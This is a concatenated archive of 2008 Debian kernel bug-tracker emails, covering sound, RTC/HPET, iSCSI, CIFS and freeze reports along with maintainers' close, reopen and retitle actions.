13:13:57 localhost ntpdate[3455]: the NTP socket is in use, exiting Feb 21 13:14:00 localhost kernel: bnx2: eth0 NIC Link is Up, 1000 Mbps full duplex, receive transmit flow control ON Feb 21 13:14:00 localhost kernel: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready Feb 21 13:14:10 localhost kernel: eth0: no IPv6 routers present ... and that's the last thing that makes it into the log on disk before the crash. I'm going to keep investigating (including trying to log in from a sid system); if I learn anything more about specific elements of the configuration that may have caused this error, I'll send them along. This is a production server, though, so I'll have to tread a little carefully, and I'll certainly have to wait until some downtime is available before continuing to investigate on this server. Cheers! -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-amd64 Locale: LANG=en_US.ISO-8859-1, LC_CTYPE=en_US.ISO-8859-1 (charmap=ISO-8859-1) Versions of packages open-iscsi depends on: ii libc6 2.3.6.ds1-13etch5 GNU C Library: Shared libraries open-iscsi recommends no packages. -- no debconf information ---End Message--- ---BeginMessage--- Version: 2.6.22-1 fixed upstream thus closing -- maks ---End Message---
Bug#466499: marked as done (linux-image-2.6.18-6-686: preinst script aborts on install without an obvious reason)
Your message dated Tue, 20 May 2008 18:40:47 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.18-6-686: preinst script aborts on install without an obvious reason has caused the Debian Bug report #466499, regarding linux-image-2.6.18-6-686: preinst script aborts on install without an obvious reason to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 466499: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466499 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-6-686 Version: 2.6.18.dfsg.1-18etch1 Severity: wishlist I encountered the following problem on 2 systems, that were upgraded several times from older debian stable releases and used custom compiled kernels before. apt-get install linux-image-2.6.18-6-686 aborted after the preinst script with the message 'Ok, Aborting' The reason was a missing 'do_initrd = Yes' statement in /etc/kernel-img.conf and debconf set to Noninteractive. After changing debconf to Dialog it was obvious what was missing. Additional information instead of only 'Ok, Aborting' would be nice (and would shorten the time to find the configuration error ;-) -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.19 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) ---End Message--- ---BeginMessage--- Version: 2.6.25-1 templates files got rewritten. still if you don't use debian installer you still need to add do_initrd. -- maks ---End Message---
Bug#381171: marked as done (linux-image-2.6.16-2-k7: Not all Sound/Alsa devices are created properly under /dev/snd)
Your message dated Tue, 20 May 2008 18:53:25 +0200 with message-id [EMAIL PROTECTED] and subject line RE: linux-image-2.6.16-2-k7: Not all Sound/Alsa devices are created properly under /dev/snd has caused the Debian Bug report #381171, regarding linux-image-2.6.16-2-k7: Not all Sound/Alsa devices are created properly under /dev/snd to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 381171: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=381171 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.16-2-k7 Version: 2.6.16-17 Severity: important Hello, I have the problem that the sound doesn't work with kernel 2.6.16, whereas it works perfectly with 2.6.15. As you can see from the attached outputs, the drivers loaded are the same, but certain devices just don't get created. I couldn't find any related error messages neither under /var/log, nor in dmesg. Being able to upgrade would be really nice. Thanks, Eric PS: as device creation is also linked to udev, it's version 0.093-1 -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (990, 'testing'), (500, 'testing-proposed-updates'), (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.15-1-k7 Locale: LANG=en_IE.UTF-8, LC_CTYPE=en_IE.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.16-2-k7 depends on: ii initramfs-tools [linux-initra 0.69b tools for generating an initramfs ii module-init-tools 3.2.2-3tools for managing Linux kernel mo ii yaird [linux-initramfs-tool] 0.0.12-15 Yet Another mkInitRD Versions of packages linux-image-2.6.16-2-k7 recommends: pn libc6-i686none (no description available) -- debconf information: linux-image-2.6.16-2-k7/postinst/old-dir-initrd-link-2.6.16-2-k7: true linux-image-2.6.16-2-k7/postinst/create-kimage-link-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/elilo-initrd-2.6.16-2-k7: true linux-image-2.6.16-2-k7/postinst/old-system-map-link-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/lilo-initrd-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/failed-to-move-modules-2.6.16-2-k7: linux-image-2.6.16-2-k7/prerm/would-invalidate-boot-loader-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/already-running-this-2.6.16-2-k7: linux-image-2.6.16-2-k7/postinst/bootloader-error-2.6.16-2-k7: linux-image-2.6.16-2-k7/postinst/bootloader-test-error-2.6.16-2-k7: linux-image-2.6.16-2-k7/preinst/initrd-2.6.16-2-k7: linux-image-2.6.16-2-k7/postinst/old-initrd-link-2.6.16-2-k7: true linux-image-2.6.16-2-k7/prerm/removing-running-kernel-2.6.16-2-k7: true linux-image-2.6.16-2-k7/postinst/kimage-is-a-directory: linux-image-2.6.16-2-k7/preinst/bootloader-initrd-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/lilo-has-ramdisk: linux-image-2.6.16-2-k7/preinst/overwriting-modules-2.6.16-2-k7: true linux-image-2.6.16-2-k7/preinst/abort-overwrite-2.6.16-2-k7: linux-image-2.6.16-2-k7/preinst/abort-install-2.6.16-2-k7: linux-image-2.6.16-2-k7/postinst/depmod-error-2.6.16-2-k7: false linux-image-2.6.16-2-k7/postinst/depmod-error-initrd-2.6.16-2-k7: false Linux zorglub 2.6.15-1-k7 #2 Mon Mar 6 15:42:39 UTC 2006 i686 GNU/Linux gameport 14024 1 snd_ens1371 snd48740 16 snd_usb_audio,snd_hwdep,snd_ens1371,snd_rawmidi,snd_seq_device,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer snd_ac97_bus2112 1 snd_ac97_codec snd_ac97_codec 82528 1 snd_ens1371 snd_ens137121856 3 snd_hwdep 8480 1 snd_usb_audio snd_mixer_oss 16576 1 snd_pcm_oss snd_page_alloc 9992 1 snd_pcm snd_pcm77704 5 snd_usb_audio,snd_ens1371,snd_ac97_codec,snd_pcm_oss snd_pcm_oss46112 0 snd_rawmidi22688 2 snd_usb_lib,snd_ens1371 snd_seq_device 8012 1 snd_rawmidi snd_timer 21444 2 snd_pcm snd_usb_audio 70016 1 snd_usb_lib14656 1 snd_usb_audio soundcore 8992 1 snd usbcore 113924 5 snd_usb_audio,snd_usb_lib,pwc,uhci_hcd total 0 crw-rw 1 root audio 116, 0 2006-08-01 20:20 controlC0 crw-rw 1 root audio 116, 32 2006-08-01 20:20 controlC1 crw-rw 1 root audio 116, 8 2006-08-01 20:20 midiC0D0 crw-rw 1 root audio 116, 24 2006-08-01 20:20 pcmC0D0c crw-rw 1 root audio 116, 16 2006-08-01 20:20 pcmC0D0p crw-rw 1 root audio 116, 17 2006-08-01 20:20 pcmC0D1p crw-rw 1 root audio 116, 56 2006-08-01 20:20
Processed: bug 425995 is forwarded to https://bugtrack.alsa-project.org/alsa-bug/view.php?id=3129
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 forwarded 425995 https://bugtrack.alsa-project.org/alsa-bug/view.php?id=3129 Bug#425995: ALSA: internal sound card does not work if USB headset plugged in at boot Noted your statement that Bug has been forwarded to https://bugtrack.alsa-project.org/alsa-bug/view.php?id=3129. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#439072: marked as done (snd-intel8x0 line-in not working in later 2.6.x kernels)
Your message dated Tue, 20 May 2008 18:50:43 +0200 with message-id [EMAIL PROTECTED] and subject line Re: snd-intel8x0 line-in not working in later 2.6.x kernels has caused the Debian Bug report #439072, regarding snd-intel8x0 line-in not working in later 2.6.x kernels to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 439072: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=439072 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-2.6 Hi, I'm reporting this bug that I have been seeing for a while and which is a regression from a few months/years ago - the line-in input simply doesn't work right. arecord(1) just doesn't record anything with it, it doesn't show any errors, it records silence. The recording from the same external source works just fine with the microphone input. I and apparently many other people noticed the same bug indirectly, by noticing that the sound input from the TV card isn't working. (Many TV cards ship with a line-out and a short cable which connects the TV sound output with the regular sound card input.) I also tried changing the external sources - I tried to record using a microphone via the mic in, and that still works just fine, whereas the microphone via the line in also fails to record anything. And finally, the TV card is heard just fine when plugged into the mic in. This works just fine with the same hardware in MS Windows (ugh), and it also worked fine with an earlier 2.6.x kernel version that I had been using when I was still running sarge on this machine. But, I removed it in the meantime so I don't know which one it was. I think it was 2.6.16 or so, but I'm not sure. It's definitely not working with = 2.6.18 (I still have one of those and it behaves the same as 2.6.21). I have previously recorded my problem in the Ubuntu bug report #29789[1], which includes a bit of a convoluted description at the beginning which also talks about an unrelated module, but it appears that several other people are seeing the same problem as I am. The Debian bug report #384933 mentions that snd-emu10k1 also has a dysfunctional line-in. The bug report #374545 mentions something vaguely similar, but even though they have an explicit error message there, the suspicious bit was that the regression happened from .15 to .16, which should be around the same time as this. I grepped the kernel patch files for .13, .14, .15, .16, .17, and they rarely ever mention snd-intel8x0. The quirks option was added in .14, but offhand that doesn't seem to be related to the line-in. (The snd-emu10k1 driver is even more rarely mentioned in the said patches.) Any help would be appreciated. TIA. [1] https://bugs.launchpad.net/ubuntu/+bug/29789 -- 2. That which causes joy or happiness. ---End Message--- ---BeginMessage--- closing as according to upstream not a driver issue. marked as resolved thus closing. -- maks ---End Message---
Bug#467445: linux-image-2.6.22-4-amd64: iSCSI management interface is detected as a disk
does this still happen with a recent kernel aka 2.6.25 linux images? thanks for feedback. -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#470491: marked as done (linux-image-2.6.24-1-686: Please enable hpet=force by default)
Your message dated Tue, 20 May 2008 18:58:39 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.24-1-686: Please enable hpet=force by default has caused the Debian Bug report #470491, regarding linux-image-2.6.24-1-686: Please enable hpet=force by default to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 470491: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=470491 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-686 Version: 2.6.24-4 Severity: wishlist Current Linux includes support for force-enabling the High Performance Event Timer (HPET) on chipsets which do not advertise it in documentation or which disable it in BIOS, such as the ICH4 chipset used on many laptops. Using the HPET can significantly reduce power usage, in combination with nohz and C-states. However, Linux will only force-enable the HPET if the kernel command line includes hpet=force. Please consider enabling hpet=force by default, so that a default installation saves the extra power without needing to edit bootloader configuration. All information I have seen on this option via LKML suggests that it only exists because force-enabling the HPET on many chipsets involves undocumented operations; however, as far as I can tell, force-enabling the HPET only happens on a whitelist of chipsets known to work. Thanks, Josh Triplett -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.24-1-686 depends on: ii debconf [debconf-2.0]1.5.19 Debian configuration management sy ii initramfs-tools [linux-initr 0.91e tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo Versions of packages linux-image-2.6.24-1-686 recommends: ii libc6-i6862.7-9 GNU C Library: Shared libraries [i -- debconf information excluded ---End Message--- ---BeginMessage--- Version: 2.6.25-1 fixed in aboves upload, thus closing. -- maks ---End Message---
Bug#475959: marked as done (hpet=force vs /dev/rtc)
Your message dated Tue, 20 May 2008 18:57:42 +0200 with message-id [EMAIL PROTECTED] and subject line Re: hpet=force vs /dev/rtc has caused the Debian Bug report #475959, regarding hpet=force vs /dev/rtc to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 475959: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=475959 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-686 Version: 2.6.24-5 Severity: important If I boot with hpet=force I avoid approximately 35 wakeups per second. Unfortunately I noticed two unnecessary delays during the boot process. These are caused by the fact that hwclock is not able to read the time from /dev/rtc. The hwclock command works only with --directisa. I installed hardy with vmlinuz-2.6.24-16-generic in another partition on the same machine. There are no problems with hpet=force and hwclock. Ubuntu uses CONFIG_HPET_EMULATE_RTC=y. Is there any reason why this option is not set in the Debian kernel? -- Psst! Geheimtipp: Online Games kostenlos spielen bei den GMX Free Games! http://games.entertainment.gmx.net/de/entertainment/games/free ---End Message--- ---BeginMessage--- Version: 2.6.25-1 CONFIG_HPET_EMULATE_RTC=y is set in Package: linux-image-2.6.25-1-686 and hwlock works fine (as expected)! -- maks ---End Message---
Bug#482074: linux-2.6: system freeze with 2.6.25-1-686 (3x)
Package: linux-2.6 Severity: normal While running linux-image-2.6.25-1-686 and 2-686 I had 3 system freezes in the 9 days I ran 2.6.25. I then went back to 2.6.24-1-686. System halts: there is no kbd, no mouse, vcstime stops marking the time. Sound loops on the last bytes received, apparently. I was in X and had 3 or so VT's open. Once I was installing VMware and twice I was running rsync from a USB-HDD to an ATA drive. Nothing shows in the logs. I haven't had this since I bought this motherboard 3 years ago. I realize this is not enough information, but Debian kernels never freeze on me. I include the output of hwinfo --short, for whatever it's worth: === /home/hugoTue May 20-11:03:19SDA6# hwinfo --short cpu: AMD Athlon(tm) , 2000 MHz keyboard: /dev/input/event0AT Translated Set 2 keyboard /dev/input/event1AT Raw Set 2 keyboard mouse: /dev/input/mice A4 Tech USB Optical Mouse /dev/input/mice A4 Tech USB Optical Mouse monitor: Samsun SyncMaster 753DFX graphics card: nVidia GeForce4 MX 4000 sound: EPoX VT8233/A/8235/8237 AC97 Audio Controller Creative SB0410 SBLive! 24-bit storage: Floppy disk controller VIA VT82C586/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE EPoX VIA VT6420 SATA RAID Controller network: eth0 EPoX VT6103 network interface: ppp0 Network Interface vmnet1 Ethernet network interface vmnet8 Ethernet network interface eth0 Ethernet network interface lo Loopback network interface disk: /dev/sdb WDC WD80 0JD-60LUA0 /dev/sda ST380211 0A /dev/hdc ST380011A /dev/hda Maxtor 6Y080P0 partition: /dev/sdb1Partition /dev/sdb2Partition /dev/sdb3Partition /dev/sdb4Partition /dev/sdb5Partition /dev/sdb6Partition /dev/sdb7Partition /dev/sda1Partition /dev/sda2Partition /dev/sda3Partition /dev/sda4Partition /dev/sda5Partition /dev/sda6Partition /dev/sda7Partition /dev/hdc1Partition /dev/hdc2Partition /dev/hdc3Partition -This partition has 2.6.25-2-686 installed and got the freezes /dev/hdc4Partition /dev/hdc5Partition /dev/hdc6Partition /dev/hdc7Partition /dev/hda1Partition /dev/hda2Partition /dev/hda5Partition /dev/hda6Partition /dev/hda7Partition /dev/hda8Partition /dev/hda9Partition /dev/hda10 Partition cdrom: /dev/hdd LITE-ON DVDRW SHW-160P6S usb controller: VIA USB 2.0 VIA VT82x UHCI USB 1.1 Controller VIA VT82x UHCI USB 1.1 Controller VIA VT82x UHCI USB 1.1 Controller VIA VT82x UHCI USB 1.1 Controller bios: BIOS bridge: EPoX VT8237 ISA bridge [KT600/K8T800/K8T890 South] VIA VT8237 PCI Bridge VIA KT880 Host Bridge VIA KT880 Host Bridge VIA KT880 Host Bridge VIA KT880 Host Bridge VIA KT880 Host Bridge VIA KT880 Host Bridge hub: D-Link Hub Linux 2.6.24-1-686 ehci_hcd EHCI Host Controller Linux 2.6.24-1-686 uhci_hcd UHCI Host Controller Linux 2.6.24-1-686 uhci_hcd UHCI Host Controller Linux 2.6.24-1-686 uhci_hcd UHCI Host Controller Linux 2.6.24-1-686 uhci_hcd UHCI Host Controller memory: Main Memory unknown: FPU DMA controller PIC Timer RTC Keyboard controller /dev/lp0 Parallel controller PS/2 Controller PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device PnP Unclassified device
Bug#439072: closed by maximilian attems [EMAIL PROTECTED] (Re: snd-intel8x0 line-in not working in later 2.6.x kernels)
On Tue, May 20, 2008 at 04:54:06PM +, Debian Bug Tracking System wrote: closing as according to upstream not a driver issue. marked as resolved thus closing. I would appreciate it if you could first answer the question which I asked in August last year (which was the reason I didn't close the bug myself): Can someone tell me the proper steps to test the default value to see if the bug was really just some local mishap? It's a bit annoying to see people ignore you for nine months, and then close the bug report rather than answering it. -- 2. That which causes joy or happiness. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#399324: linux-image-2.6.17-2-686: OSS layer for ALSA mixer module bugs PCM volume setting
hello fabien, can you reproduce with a current linux image = 2.6.24 thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: found 440445 in 2.6.25-1
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.27 found 440445 2.6.25-1 Bug#440445: linux-2.6 - dies after some time on t2000 since .22 Bug marked as found in version 2.6.25-1. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Changeing submitter
Processing commands for [EMAIL PROTECTED]:
submitter 259432 !
Bug#259432: mozilla eats up my swap space and the my memory
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 386388 !
Bug#386388: ppmrainbow does not delete tempfiles in /tmp and ${TMPDIR}
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 388107 !
Bug#388107: spamassassin cut headers
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 403912 !
Bug#403912: Symlinks pointing to /usr/share/fonts/truetype/ttf-xfree86-nonfree
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 405048 !
Bug#405048: pbmtextps/pnmcrop produce error in glibc
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 454741 !
Bug#454741: DoS by using keyserver mailto:[EMAIL PROTECTED]
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 467638 !
Bug#467638: 2.6.22 create a non-working initrd
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 293556 !
Bug#293556: gnupg kill my pubring.gpg
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 431080 !
Bug#431080: smsd ignore pidfile if started as user and can be started in mass
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 286255 !
Bug#286255: ssmtp has failer with AuthPass and AuthUser
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 287257 !
Bug#287257: Correctur in lilo.conf because label and spaces
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 294523 !
Bug#294523: mimedecode should support =?ISO- at beginning of lines
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 295636 !
Bug#295636: aptitude crash if it run by $USER and not root
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 297764 !
Bug#297764: Funny Error message (first time I see this Bug)
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 299307 !
Bug#299307: apt-cache eat up all the memory and SWAP
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 299625 !
Bug#299625: Text in infobox does not persist
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 310969 !
Bug#310969: zgv leave VT's open
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 316450 !
Bug#316450: authentication does not more work
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 316494 !
Bug#316494: ssmtp does not use /etc/revalias in From:
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 357469 !
Bug#357469: ssh-agent does not honor $TMPDIR
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 357472 !
Bug#357472: gimp write useless messages to ~/.xsession-errors
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 360638 !
Bug#360638: html2text does not more convert
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 364461 !
Bug#364461: 'addgroup' can read groups but not set
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 364888 !
Bug#364888: 'addgroup' can read groups but not set
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 382520 !
Bug#382520: Get error message in arabich while using de_DE.utf-8
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 382525 !
Bug#382525: vlc does not accept --start-time or the setting in the Preferences
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 382526 !
Bug#382526: vlc eat the whole memory and swap at the end of a DVD transcode
Changed Bug submitter from Michelle Konzack [EMAIL PROTECTED] to Michelle
Konzack [EMAIL PROTECTED].
submitter 382527 !
Bug#382527: vlc do not crop while transcode
Changed Bug submitter from Michelle
Bug#477233: linux-image-2.6.24-1-686: no sound with alsa/ICH6 anymore
On Tue, 22 Apr 2008, Norbert Sendetzky wrote: Package: linux-image-2.6.24-1-686 Version: 2.6.24-5 Severity: important After upgrading to kernel image 2.4.24 there's no pcm output any more to the speaker / line out. Previous used kernel image (2.6.18) still works. please recheck against recent 2.6.25 from sid, installs just fine in testing. thanks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: Re: Bug#439072 closed by maximilian attems [EMAIL PROTECTED] (Re: snd-intel8x0 line-in not working in later 2.6.x kernels)
Processing commands for [EMAIL PROTECTED]: reopen 439072 Bug#439072: snd-intel8x0 line-in not working in later 2.6.x kernels Bug reopened, originator not changed. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#439072: closed by maximilian attems [EMAIL PROTECTED] (Re: snd-intel8x0 line-in not working in later 2.6.x kernels)
reopen 439072 thanks On Tue, May 20, 2008 at 07:08:59PM +0200, Josip Rodin wrote: On Tue, May 20, 2008 at 04:54:06PM +, Debian Bug Tracking System wrote: closing as according to upstream not a driver issue. marked as resolved thus closing. I would appreciate it if you could first answer the question which I asked in August last year (which was the reason I didn't close the bug myself): Can someone tell me the proper steps to test the default value to see if the bug was really just some local mishap? It's a bit annoying to see people ignore you for nine months, and then close the bug report rather than answering it. I almost forgot - that's disregarding the simple fact that even if the driver made no mistake with this, this 2ch vs 4ch issue is not documented anywhere, neither in kernel (linux-2.6/Documentation/sound/alsa/?) nor in userland (alsamixer(1), arecord(1), ...?), so if anyone else sees this behaviour, whether due to one's own change or a possible bad default, there is no recourse. Closing bugs just like that may well be acceptable elsewhere, but I thought we had a bit higher standards in Debian. :| -- 2. That which causes joy or happiness. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: retitling
Processing commands for [EMAIL PROTECTED]: retitle 439072 recording requires 2ch (not 4ch) with snd-intel8x0 Bug#439072: snd-intel8x0 line-in not working in later 2.6.x kernels Changed Bug title to `recording requires 2ch (not 4ch) with snd-intel8x0' from `snd-intel8x0 line-in not working in later 2.6.x kernels'. -- Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482083: CIFS module will create symlinks, but not delete them
Package: linux-image-2.6.24-1-686 Version: 2.6.24-6 I have a share mounted via a Samba server with Unix extensions enabled. The share is mounted with the noperm option in /etc/fstab. I can create a link, e.g. 'ln -s tmp x' and see that x is indeed a symbolic link to tmp. If I then attempt to 'rm x', rm will return me to the shell prompt with no error, but x still exists on the server. This problem is with version 1.52 of the CIFS module. I have now reverted back to using package linux-image-2.6.22-3-686, version 2.6.22-6.lenny1 and CIFS version 1.49. This works correctly. I am using Debian testing. -- Cheers, Ian. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#468745: marked as done (linux-image-2.6.24-1-686: new with 2.6.24: rtc operations seem to fail on asus p5ld2/pentium d 830)
Your message dated Tue, 20 May 2008 20:08:27 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.24-1-686: new with 2.6.24: rtc operations seem to fail on asus p5ld2/pentium d 830 has caused the Debian Bug report #468745, regarding linux-image-2.6.24-1-686: new with 2.6.24: rtc operations seem to fail on asus p5ld2/pentium d 830 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 468745: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=468745 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-686 Version: 2.6.24-4 Severity: normal A few days ago I started using the new packages for 2.6.24 in sid and it seems all rtc access to my system is being timed out. On boot, the setting system to rtc fails. On shutdown, the rtc sync also fails. I don't know where to start looking for the problem, perhaps you could give me a few tests to run? My clock also seems to be acting oddly, I use NTP/NTPclient so I have the right time except sometimes it seems to skip ahead by 2s. TIA -r -- Package-specific info: ** Version: Linux version 2.6.24-1-686 (Debian 2.6.24-4) ([EMAIL PROTECTED]) (gcc version 4.1.3 20080114 (prerelease) (Debian 4.1.2-19)) #1 SMP Mon Feb 11 14:37:45 UTC 2008 ** Command line: root=/dev/sda2 ro ** Tainted: P (1) ** Kernel log: ICH7: not 100% native mode: will probe irqs later ide0: BM-DMA at 0xffa0-0xffa7, BIOS settings: hda:DMA, hdb:DMA ide1: BM-DMA at 0xffa8-0xffaf, BIOS settings: hdc:pio, hdd:pio Probing IDE interface ide0... usbcore: registered new interface driver hiddev firewire_core: created new fw device fw0 (0 config rom retries, S400) hdb: LITE-ON DVDRW LH-20A1P, ATAPI CD/DVD-ROM drive hiddev96hidraw0: USB HID v1.10 Device [American Power Conversion Smart-UPS 750 FW:651.12.D USB FW:4.2] on usb-:00:1d.2-1 hda: LITE-ON DVDRW SOHW-1693S, ATAPI CD/DVD-ROM drive hda: host max PIO4 wanted PIO255(auto-tune) selected PIO4 